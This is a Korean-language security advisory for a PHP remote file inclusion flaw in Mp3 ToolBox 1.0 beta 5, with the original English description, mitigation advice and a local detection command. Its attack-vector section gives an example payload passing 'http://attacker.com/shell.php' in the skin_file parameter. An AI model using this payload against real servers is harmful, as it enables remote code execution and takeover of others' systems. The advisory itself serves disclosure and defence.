🇰🇷 한글 설명
Mp3 ToolBox 1.0 beta 5의 index.php에 존재하는 원격 파일 포함 취약점으로, skin_file 매개변수를 통해 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 이는 웹 애플리케이션이 외부 입력을 충분히 검증하지 않을 때 발생합니다.
💡 쉬운 설명
Mp3 ToolBox 웹사이트의 디자인 파일을 설정하는 부분에 허점이 있어서 해커가 악의적인 코드를 심을 수 있습니다. 업데이트되지 않은 이 구버전을 사용하면 해커가 서버를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in Mp3 ToolBox 1.0 beta 5 allows remote attackers to execute arbitrary PHP code via a URL in the skin_file parameter.
📍 영향받는 시스템
Mp3 ToolBox 1.0 beta 5 및 이전 버전
⚔️ 공격 벡터
skin_file 매개변수에 원격 PHP 파일의 URL을 전달하여 코드 실행 (예: ?skin_file=http://attacker.com/shell.php)
🛡️ 대응 방법
Mp3 ToolBox를 최신 버전으로 업그레이드하거나, skin_file 매개변수의 입력 검증 및 파일 포함 필터링 구현
🔧 검증 코드
결과가 나타나면 취약한 Mp3 ToolBox 설치를 발견한 것이며, 경로의 index.php를 즉시 업그레이드해야 합니다.
find / -path "*/Mp3*" -name "index.php" 2>/dev/null | xargs grep -l "skin_file" 2>/dev/null | head -1